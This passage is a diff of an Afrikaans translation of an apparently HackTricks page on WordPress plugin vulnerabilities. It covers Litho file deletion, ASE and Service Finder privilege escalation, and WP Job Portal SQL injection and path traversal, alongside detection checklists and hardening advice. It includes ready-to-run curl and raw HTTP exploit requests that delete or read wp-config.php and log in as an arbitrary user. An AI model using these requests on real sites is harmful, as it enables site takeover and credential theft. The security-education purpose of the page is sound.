en eerder op request headers staatmaak. +- Soek gebruike van kern user-management funksies (`wp_insert_user`, `wp_create_user`) binne REST handlers wat slegs op headerwaardes staatmaak. Verharding -- Moet nooit outentikasie of autorisasie aflei van kliënt‑beheerde headers nie. -- Indien 'n reverse proxy identiteit moet inspuit, beëindig vertroue by die proxy en verwyder inkomende kopieë (bv. `unset X-Wcpay-Platform-Checkout-User` by die edge), en stuur dan 'n ondertekende token en verifieer dit server‑kant. -- Vir REST‑routes wat bevoorregte aksies uitvoer, vereis `current_user_can()` kontroles en 'n streng `permission_callback` (MOET NIE `__return_true` gebruik nie). -- Gee voorkeur aan first‑party auth (cookies, application passwords, OAuth) bo header “impersonation”. +- Moet nooit outentisering of autorisasie aflei uit kliënt-beheerde headers nie. +- As 'n reverse proxy identiteit moet injekteer, beëindig vertroue by die proxy en verwyder inkomende kopieë (bv. `unset X-Wcpay-Platform-Checkout-User` by die edge), en stuur dan 'n ondertekende token wat server-side geverifieer word. +- Vir REST-roetes wat bevoorregte aksies uitvoer, vereis `current_user_can()`-kontroles en 'n streng `permission_callback` (MOENIE `__return_true` gebruik nie). +- Gee voorkeur aan eerste-party auth (cookies, application passwords, OAuth) bo header “impersonation”. -References: see the links at the end of this page for a public case and broader analysis. +Verwysings: sien die skakels aan die einde van hierdie bladsy vir 'n openbare geval en breër analise. -### Nie-geauthentiseerde arbitrêre lêerverwydering via wp_ajax_nopriv (Litho Theme <= 3.0) +### Nie-geauthentiseerde Willekeurige Lêeruitwissing via wp_ajax_nopriv (Litho Theme <= 3.0) -WordPress themes en plugins stel dikwels AJAX‑handlers bloot via die `wp_ajax_` en `wp_ajax_nopriv_` hooks. Wanneer die **_nopriv_** variant gebruik word **word die callback vir nie-geauthentiseerde besoekers bereikbaar**, dus moet enige sensitiewe aksie addisioneel die volgende implementeer: +WordPress temas en plugins openbaar dikwels AJAX-handlers deur die `wp_ajax_` en `wp_ajax_nopriv_` hooks. Wanneer die **_nopriv_** variant gebruik word **word die callback bereikbaar deur nie-geauthentiseerde besoekers**, daarom moet enige sensitiewe aksie bykomend die volgende implementeer: -1. 'n **capability check** (bv. `current_user_can()` of minstens `is_user_logged_in()`), en +1. 'n **capability check** (bv. `current_user_can()` of ten minste `is_user_logged_in()`), en 2. 'n **CSRF nonce** gevalideer met `check_ajax_referer()` / `wp_verify_nonce()`, en -3. **Streng inset‑sanitisering / validasie**. +3. **Streng invoersanitisering / validasie**. -Die Litho multipurpose theme (< 3.1) het daardie drie kontroles in die *Remove Font Family* funksie vergeet en het uiteindelik die volgende kode saamgestuur (vereenvoudig): +Die Litho multipurpose theme (< 3.1) het daardie 3 kontroles in die *Remove Font Family* funksie vergeet en het uiteindelik die volgende kode in die uitgawe ingesluit (vereenvoudig): ```php function litho_remove_font_family_action_data() { if ( empty( $_POST['fontfamily'] ) ) { @@ -443,28 +443,28 @@ die(); add_action( 'wp_ajax_litho_remove_font_family_action_data', 'litho_remove_font_family_action_data' ); add_action( 'wp_ajax_nopriv_litho_remove_font_family_action_data', 'litho_remove_font_family_action_data' ); ``` -Issues introduced by this snippet: +Probleme wat deur hierdie snippet geïntroduseer word: -* **Ongeauthentiseerde toegang** – die `wp_ajax_nopriv_` hook is geregistreer. -* **Geen nonce / capability check** – enige besoeker kan die endpoint tref. -* **Geen pad-sanitisasie** – die deur gebruiker beheerde `fontfamily` string word sonder filtrering by 'n lêerstelsel-pad gevoeg, wat klassieke `../../` traversal moontlik maak. +* **Ongeauthentiseerde toegang** – the `wp_ajax_nopriv_` hook is registered. +* **Geen nonce / capability check** – enige besoeker kan die endpoint aanroep. +* **Geen pad-sanitisering** – die deur die gebruiker beheerde `fontfamily` string word sonder filtrering aan 'n lêerstelselpad gekonkateneer, wat klassieke `../../` traversal toelaat. #### Uitbuiting -'n aanvaller kan enige lêer of gids **onder die uploads base directory** (normaalweg `/wp-content/uploads/`) verwyder deur 'n enkele HTTP POST versoek te stuur: +'n aanvaller kan enige lêer of gids **onder die uploads base directory** (gewoonlik `/wp-content/uploads/`) verwyder deur 'n enkele HTTP POST-versoek te stuur: ```bash curl -X POST https://victim.com/wp-admin/admin-ajax.php \ -d 'action=litho_remove_font_family_action_data' \ -d 'fontfamily=../../../../wp-config.php' ``` -Aangesien `wp-config.php` buite *uploads* geleë is, is vier `../`-reekse genoeg op 'n standaardinstallasie. Om `wp-config.php` te verwyder dwing WordPress by die volgende besoek in die *installasie-assistent*, en stel 'n volledige webwerf-oorname in staat (die aanvaller voorsien net 'n nuwe DB-konfigurasie en skep 'n admin-gebruiker). +Omdat `wp-config.php` buite *uploads* leef, is vier `../`-reekse genoeg op 'n standaardinstallasie. Deletie van `wp-config.php` dwing WordPress in die *installasiewizard* by die volgende besoek, wat 'n volledige webwerf-oorneem moontlik maak (die aanvaller voorsien net 'n nuwe DB-konfigurasie en skep 'n admingebruiker). -Ander impakvolle teikens sluit in plugin/theme `.php` lêers (om security plugins te breek) of `.htaccess` reëls. +Ander impakvolle teikens sluit in plugin/theme `.php`-lêers (om security-plugins te breek) of `.htaccess`-reëls. #### Opsporingskontrolelys -* Enige `add_action( 'wp_ajax_nopriv_...')` callback wat filesystem helpers aanroep (`copy()`, `unlink()`, `$wp_filesystem->delete()`, etc.). -* Samevoeging van ongesuiwerde gebruikersinvoer in paaie (soek na `$_POST`, `$_GET`, `$_REQUEST`). +* Enige `add_action( 'wp_ajax_nopriv_...')` callback wat filesystem helpers aanroep (`copy()`, `unlink()`, `$wp_filesystem->delete()`, ens.). +* Konkatenering van ongefilterde gebruikersinvoer in paaie (kyk vir `$_POST`, `$_GET`, `$_REQUEST`). * Afwesigheid van `check_ajax_referer()` en `current_user_can()`/`is_user_logged_in()`. #### Verharding @@ -487,16 +487,16 @@ add_action( 'wp_ajax_litho_remove_font_family_action_data', 'secure_remove_font_ // 🔒 NO wp_ajax_nopriv_ registration ``` > [!TIP] -> **Altyd** behandel enige skryf/verwyder-aksie op skyf as geprivilegieerd en kontroleer dit dubbel: +> **Altyd** behandel enige skryf/verwyder-operasie op die skyf as privileged en dubbelkontroleer: > • Authentication • Authorisation • Nonce • Input sanitisation • Path containment (e.g. via `realpath()` plus `str_starts_with()`). --- -### Privilege escalation via verouderde rolherstel en ontbrekende authorization (ASE "View Admin as Role") +### Privilege escalation via stale role restoration and missing authorization (ASE "View Admin as Role") -Baie plugins implementeer 'n "view as role" of tydelike rol-wissel funksie deur die oorspronklike rol(le) in user meta te stoor sodat dit later herstel kan word. As die herstelpad slegs op request parameters staatmaak (bv. `$_REQUEST['reset-for']`) en 'n plugin-onderhoude lys sonder om capabilities en 'n geldige nonce na te gaan, word dit 'n vertical privilege escalation. +Baie plugins implementeer a "view as role" of temporary role-switching funksie deur die oorspronklike rol(le) in user meta te stoor sodat dit later herstel kan word. As die herstelpad slegs op request parameters (bv. `$_REQUEST['reset-for']`) en 'n plugin-onderhoude lys staatmaak sonder om capabilities en 'n geldige nonce te kontroleer, lei dit tot 'n vertical privilege escalation. -'n Werklike voorbeeld is gevind in die Admin and Site Enhancements (ASE) plugin (≤ 7.6.2.1). Die reset-vertakking het rolle herstel gebaseer op `reset-for=` indien die gebruikersnaam in 'n interne array `$options['viewing_admin_as_role_are']` verskyn het, maar het nie 'n `current_user_can()`-kontrole uitgevoer nie en ook nie 'n nonce-verifikasie gedoen voordat dit die huidige rolle verwyder en die gestoor rolle uit die user meta `_asenha_view_admin_as_original_roles` weer bygevoeg het nie: +'n Werklike voorbeeld is gevind in die Admin and Site Enhancements (ASE) plugin (≤ 7.6.2.1). Die reset-branch het rolle herstel gebaseer op `reset-for=` as die gebruikersnaam in 'n interne array `$options['viewing_admin_as_role_are']` verskyn het, maar het geen `current_user_can()`-kontrole uitgevoer nie en ook nie 'n nonce-verifikasie nie voordat dit huidige rolle verwyder en die gestoor rolle uit user meta `_asenha_view_admin_as_original_roles` weer bygevoeg het: ```php // Simplified vulnerable pattern if ( isset( $_REQUEST['reset-for'] ) ) { @@ -514,16 +514,16 @@ foreach ( $orig as $r ) { $u->add_role( $r ); } Waarom dit uitbuitbaar is - Vertrou op `$_REQUEST['reset-for']` en 'n plugin-opsie sonder server-side magtiging. -- As 'n gebruiker vroeër hoër voorregte in `_asenha_view_admin_as_original_roles` gestoor gehad het en gedegradeer is, kan hulle dit herstel deur die reset path te tref. -- In sommige implementasies kan enige authenticated user 'n reset vir 'n ander gebruikersnaam uitlok wat nog in `viewing_admin_as_role_are` teenwoordig is (broken authorization). +- As 'n gebruiker voorheen hoër voorregte in `_asenha_view_admin_as_original_roles` gestoor gehad het en afgegradeer is, kan hulle dit herstel deur die reset-pad te tref. +- In sommige implementasies kon enige geauthentiseerde gebruiker 'n reset vir 'n ander gebruikersnaam wat nog in `viewing_admin_as_role_are` teenwoordig is, aktiveer (gebreekte magtiging). -Vereistes vir aanval +Aanvalsvereistes -- Kwetsbare plugin-weergawe met die kenmerk aangeskakel. -- Teikenrekening het 'n verouderde hoë-privilegie-rol in user meta gestoor vanaf vroeër gebruik. -- Any authenticated session; nonce/capability ontbreek op die reset flow. +- Kwetsbare plugin-weergawe met die funksie aangeskakel. +- Teikenrekening het 'n verouderde hoë-privilege rol gestoor in user meta vanaf vroeër gebruik. +- Enige geauthentiseerde sessie; ontbrekende nonce/capability in die reset-stroom. -Uitbuiting (voorbeeld) +Eksploitasie (voorbeeld) ```bash # While logged in as the downgraded user (or any auth user able to trigger the code path), # hit any route that executes the role-switcher logic and include the reset parameter. @@ -531,57 +531,106 @@ Uitbuiting (voorbeeld) curl -s -k -b 'wordpress_logged_in=...' \ 'https://victim.example/wp-admin/?reset-for=' ``` -Op kwesbare builds verwyder dit die huidige rolle en voeg die gestoorde “originele rolle” weer by (bv. `administrator`), wat effektief privileges eskaleer. +Op kwesbare weergawes verwyder dit die huidige rolle en voeg die gestoorde oorspronklike rolle weer by (bv. `administrator`), wat effektief bevoegdhede eskaleer. Detection checklist -- Kyk na rol-wissel funksies wat “originele rolle” in user meta bewaar (bv. `_asenha_view_admin_as_original_roles`). +- Kyk vir rol-wisselende funksies wat “oorspronklike rolle” in gebruikersmeta bewaar (bv. `_asenha_view_admin_as_original_roles`). - Identifiseer reset/restore-paaie wat: -- Lees gebruikersname uit `$_REQUEST` / `$_GET` / `$_POST`. +- Lees gebruikersname vanaf `$_REQUEST` / `$_GET` / `$_POST`. - Wysig rolle via `add_role()` / `remove_role()` sonder `current_user_can()` en `wp_verify_nonce()` / `check_admin_referer()`. -- Authoriseer gebaseer op 'n plugin opsie-array (bv. `viewing_admin_as_role_are`) in plaas van die actor’s capabilities. +- Verleen magtiging gebaseer op 'n plugin-opsie-array (bv. `viewing_admin_as_role_are`) in plaas van die akteur se bevoegdhede. Hardening -- Dwing capability checks af op elke state-changing branch (bv. `current_user_can('manage_options')` of strenger). -- Vereis nonces vir alle rol/permission mutasies en verifieer hulle: `check_admin_referer()` / `wp_verify_nonce()`. -- Vertrou nooit request-verskafte gebruikersname nie; los die teikengebruiker server-side op gebaseer op die geauthentiseerde actor en 'n eksplisiete beleid. -- Ongeldig maak die “originele rolle” staat by profiel-/rol-opdaterings om verouderde hoë-privilege herstel te voorkom: +- Verplig bevoegdheidskontroles op elke staat-wysigende tak (bv. `current_user_can('manage_options')` of strenger). +- Vereis nonces vir alle rol-/permissieveranderings en verifieer hulle: `check_admin_referer()` / `wp_verify_nonce()`. +- Moet nooit versoek-verskafde gebruikersname vertrou nie; bepaal die teikengebruiker aan die bedienerkant gebaseer op die geverifieerde akteur en 'n eksplisiete beleid. +- Maak die toestand van “oorspronklike rolle” ongeldig tydens profiel-/rol-opdaterings om verouderde hoë-bevoegdheidsherstel te voorkom: ```php add_action( 'profile_update', function( $user_id ) { delete_user_meta( $user_id, '_asenha_view_admin_as_original_roles' ); }, 10, 1 ); ``` -- Oorweeg om minimale toestand te stoor en tydelik-beperkte, vermoë-beskermde tokens vir tydelike rolwissels te gebruik. +- Oorweeg om slegs minimale staat te stoor en time-limited, capability-guarded tokens te gebruik vir tydelike role switches. --- +### Unauthenticated privilege escalation via cookie‑trusted user switching on public init (Service Finder “sf-booking”) + +Sommige plugins koppel user-switching helpers aan die publieke `init` hook en bepaal identiteit uit 'n client-controlled cookie. As die kode `wp_set_auth_cookie()` aanroep sonder om authentication, capability en 'n geldige nonce te verifieer, kan enige unauthenticated besoeker dwing om as 'n willekeurige user ID aan te meld. + +Tipiese kwesbare patroon (vereenvoudig uit Service Finder Bookings ≤ 6.1): +```php +function service_finder_submit_user_form(){ +if ( isset($_GET['switch_user']) && is_numeric($_GET['switch_user']) ) { +$user_id = intval( sanitize_text_field($_GET['switch_user']) ); +service_finder_switch_user($user_id); +} +if ( isset($_GET['switch_back']) ) { +service_finder_switch_back(); +} +} +add_action('init', 'service_finder_submit_user_form'); + +function service_finder_switch_back() { +if ( isset($_COOKIE['original_user_id']) ) { +$uid = intval($_COOKIE['original_user_id']); +if ( get_userdata($uid) ) { +wp_set_current_user($uid); +wp_set_auth_cookie($uid); // 🔥 sets auth for attacker-chosen UID +do_action('wp_login', get_userdata($uid)->user_login, get_userdata($uid)); +setcookie('original_user_id', '', time() - 3600, '/'); +wp_redirect( admin_url('admin.php?page=candidates') ); +exit; +} +wp_die('Original user not found.'); +} +wp_die('No original user found to switch back to.'); +} +``` +Waarom dit uitgebuit kan word + +- Publieke `init` hook maak die handler bereikbaar vir nie-geauthentiseerde gebruikers (geen `is_user_logged_in()` beskerming nie). +- Identiteit word afgelei uit 'n deur die kliënt veranderbare cookie (`original_user_id`). +- Direkte oproep na `wp_set_auth_cookie($uid)` teken die versoeker in as daardie gebruiker sonder enige capability/nonce checks. + +Uitbuiting (nie-geauthentiseerd) +```http +GET /?switch_back=1 HTTP/1.1 +Host: victim.example +Cookie: original_user_id=1 +User-Agent: PoC +Connection: close +``` +--- + ### WAF-oorwegings vir WordPress/plugin CVEs -Generiese edge/server WAFs is op breë patrone (SQLi, XSS, LFI) ingestel. Baie hoë-impak WordPress/plugin-foute is toepassings-spesifieke logika/auth-bugs wat soos onskadelike verkeer lyk tensy die engine WordPress-roetes en plugin-semantiek verstaan. +Generiese edge/server WAFs is afgestem op breë patrone (SQLi, XSS, LFI). Baie hoog‑impak WordPress/plugin foute is toepassingsspesifieke logika/auth-bugs wat soos onskadelike verkeer lyk tensy die engine WordPress-roetes en plugin-semantiek verstaan. -Offensiewe notas +Aanvalsnotas - Teiken plugin-spesifieke endpoints met skoon payloads: `admin-ajax.php?action=...`, `wp-json//`, custom file handlers, shortcodes. -- Oefen eers unauth-paaie (AJAX `nopriv`, REST met permissiewe `permission_callback`, openbare shortcodes). Standaard payloads slaag dikwels sonder obfuskasie. -- Tipiese hoë-impakgevalle: privilege escalation (broken access control), arbitrary file upload/download, LFI, open redirect. +- Gebruik eers unauth-paaie (AJAX `nopriv`, REST met permissiewe `permission_callback`, openbare shortcodes). Standaard payloads slaag dikwels sonder obfuskering. +- Tipiese hoog-impak gevalle: privilege escalation (gebreekte toegangskontrole), arbitrêre lêer oplaai/aflaai, LFI, open redirect. Verdedigingsnotas -- Moet nie op generiese WAF-signature staatmaak om plugin CVEs te beskerm nie. Voer toepassing-laag, kwesbaarheid-spesifieke virtuele pleisters in of werk vinnig by. -- Gee voorkeur aan positiewe sekuriteitskontroles in die kode (capabilities, nonces, strikte invoervalidasie) bo negatiewe regex-filters. +- Moet nie staatmaak op generiese WAF-handtekeninge om plugin CVEs te beskerm nie. Implementeer toepassingslaag, kwesbaarheid-spesifieke virtuele pleisters of werk vinnig op. +- Verkies positiewe sekuriteitskontroles in kode (capabilities, nonces, streng invoervalidatie) bo negatiewe regex-filters. ## WordPress-beskerming ### Gereelde opdaterings -Maak seker WordPress, plugins, en temas is op datum. Bevestig ook dat outomatiese opdatering in wp-config.php aangeskakel is: +Maak seker WordPress, plugins, en themes is op datum. Bevestig ook dat geoutomatiseerde opdatering in wp-config.php aangeskakel is: ```bash define( 'WP_AUTO_UPDATE_CORE', true ); add_filter( 'auto_update_plugin', '__return_true' ); add_filter( 'auto_update_theme', '__return_true' ); ``` -Ook, **installeer slegs betroubare WordPress plugins en themes**. +Installeer ook slegs betroubare WordPress-plugins en -themes. ### Sekuriteits-plugins @@ -589,15 +638,16 @@ Ook, **installeer slegs betroubare WordPress plugins en themes**. - [**Sucuri Security**](https://wordpress.org/plugins/sucuri-scanner/) - [**iThemes Security**](https://wordpress.org/plugins/better-wp-security/) -### **Ander aanbevelings** +### **Ander Aanbevelings** - Verwyder die standaard **admin** gebruiker - Gebruik **sterk wagwoorde** en **2FA** -- Gaan gebruikers se **toestemmings** periodiek na -- **Beperk aanmeldpogings** om Brute Force-aanvalle te voorkom -- Hernoem die **`wp-admin.php`** lêer en laat slegs interne toegang of toegang vanaf sekere IP-adresse toe. +- **Hersien** gereeld gebruikers se **toestemmings** +- **Beperk aanmeldpogings** om Brute Force attacks te voorkom +- Hernoem die **`wp-admin.php`** lêer en laat toegang slegs intern of vanaf sekere IP-adresse toe. -### Ongemagtigde SQL Injection via onvoldoende validering (WP Job Portal <= 2.3.2) + +### Nie-geauthentiseerde SQL Injection via onvoldoende validasie (WP Job Portal <= 2.3.2) Die WP Job Portal recruitment plugin het 'n **savecategory** taak blootgestel wat uiteindelik die volgende kwesbare kode binne `modules/category/model.php::validateFormData()` uitvoer: ```php @@ -609,13 +659,13 @@ $inquery .= " WHERE parentid = $category "; // <-- direct concat ✗ $query = "SELECT max(ordering)+1 AS maxordering FROM " . wpjobportal::$_db->prefix . "wj_portal_categories " . $inquery; // executed later ``` -Probleme wat deur hierdie kodefragment ingevoer is: +Issues introduced by this snippet: -1. **Ongefiltreerde gebruikersinvoer** – `parentid` kom reguit uit die HTTP-aanvraag. -2. **String concatenation inside the WHERE clause** – geen `is_numeric()` / `esc_sql()` / prepared statement. -3. **Unauthenticated reachability** – alhoewel die aksie uitgevoer word deur `admin-post.php`, die enigste kontrole in plek is 'n **CSRF nonce** (`wp_verify_nonce()`), wat enige besoeker kan bekom vanaf 'n publieke bladsy wat die shortcode `[wpjobportal_my_resumes]` insluit. +1. **Ongesanitiseerde gebruikersinvoer** – `parentid` kom direk van die HTTP-versoek af. +2. **String-konkatenasie binne die WHERE-clausule** – geen `is_numeric()` / `esc_sql()` / prepared statement. +3. **Nie-geauthentiseerde bereikbaarheid** – alhoewel die aksie uitgevoer word via `admin-post.php`, is die enigste kontrole in plek 'n **CSRF nonce** (`wp_verify_nonce()`), wat enige besoeker kan bekom vanaf 'n publieke bladsy wat die shortcode `[wpjobportal_my_resumes]` ingebed het. -#### Uitbuiting +#### Eksploitasie 1. Kry 'n vars nonce: ```bash @@ -629,20 +679,20 @@ curl -X POST https://victim.com/wp-admin/admin-post.php \ -d 'parentid=0 OR 1=1-- -' \ -d 'cat_title=pwn' -d 'id=' ``` -Die reaksie openbaar die resultaat van die ingesette query of verander die databasis, wat SQLi bewys. +Die reaksie openbaar die resultaat van die ingespuite query of verander die databasis, wat SQLi bewys. ### Unauthenticated Arbitrary File Download / Path Traversal (WP Job Portal <= 2.3.2) -Another task, **downloadcustomfile**, allowed visitors to download **any file on disk** via path traversal. The vulnerable sink is located in `modules/customfield/model.php::downloadCustomUploadedFile()`: +Nog 'n taak, **downloadcustomfile**, het besoekers toegelaat om **enige lêer op skyf** af te laai via path traversal. Die kwesbare sink is geleë in `modules/customfield/model.php::downloadCustomUploadedFile()`: ```php $file = $path . '/' . $file_name; ... echo $wp_filesystem->get_contents($file); // raw file output ``` -`$file_name` word deur die aanvaller beheer en gekonkateneer **sonder sanitisering**. Opnuut is die enigste hek 'n **CSRF nonce** wat vanaf die resume bladsy gehaal kan word. +`$file_name` is deur die aanvaller beheer en saamgevoeg **without sanitisation**. Weer, die enigste hindernis is 'n **CSRF nonce** wat van die CV-bladsy afgehaal kan word. -#### Uitbuiting +#### Exploitation ```bash curl -G https://victim.com/wp-admin/admin-post.php \ --data-urlencode 'task=downloadcustomfile' \ @@ -651,7 +701,7 @@ curl -G https://victim.com/wp-admin/admin-post.php \ --data-urlencode 'entity_id=1' \ --data-urlencode 'file_name=../../../wp-config.php' ``` -Die bediener reageer met die inhoud van `wp-config.php`, leaking DB credentials and auth keys. +Die server reageer met die inhoud van `wp-config.php`, leaking DB credentials and auth keys. ## Verwysings @@ -660,7 +710,9 @@ Die bediener reageer met die inhoud van `wp-config.php`, leaking DB credentials - [Rare Case of Privilege Escalation in ASE Plugin Affecting 100k+ Sites](https://patchstack.com/articles/rare-case-of-privilege-escalation-in-ase-plugin-affecting-100k-sites/) - [ASE 7.6.3 changeset – delete original roles on profile update](https://plugins.trac.wordpress.org/changeset/3211945/admin-site-enhancements/tags/7.6.3/classes/class-view-admin-as-role.php?old=3208295&old_path=admin-site-enhancements%2Ftags%2F7.6.2%2Fclasses%2Fclass-view-admin-as-role.php) - [Hosting security tested: 87.8% of vulnerability exploits bypassed hosting defenses](https://patchstack.com/articles/hosting-security-tested-87-percent-of-vulnerability-exploits-bypassed-hosting-defenses/) -- [WooCommerce Payments ≤ 5.6.1 – Unauth privilege escalation via trusted header (Patchstack DB)](https://patchstack.com/database/wordpress/plugin/woocommerce-payments/vulnerability/wordpress-woocommerce-payments-plugin-5-6-1-unauthenticated-privileged-escalation-vulnerability) +- [WooCommerce Payments ≤ 5.6.1 – Unauth privilege escalation via trusted header (Patchstack DB)](https://patchstack.com/database/wordpress/plugin/woocommerce-payments/vulnerability/wordpress-woocommerce-payments-plugin-5-6-1-unauthenticated-privilege-escalation-vulnerability) - [Hackers exploiting critical WordPress WooCommerce Payments bug](https://www.bleepingcomputer.com/news/security/hackers-exploiting-critical-wordpress-woocommerce-payments-bug/) +- [Unpatched Privilege Escalation in Service Finder Bookings Plugin](https://patchstack.com/articles/unpatched-privilege-escalation-in-service-finder-bookings-plugin/) +- [Service Finder Bookings privilege escalation – Patchstack DB entry](https://patchstack.com/database/wordpress/plugin/sf-booking/vulnerability/wordpress-service-finder-booking-6-0-privilege-escalation-vulnerability) {{#include ../../banners/hacktricks-training.md}}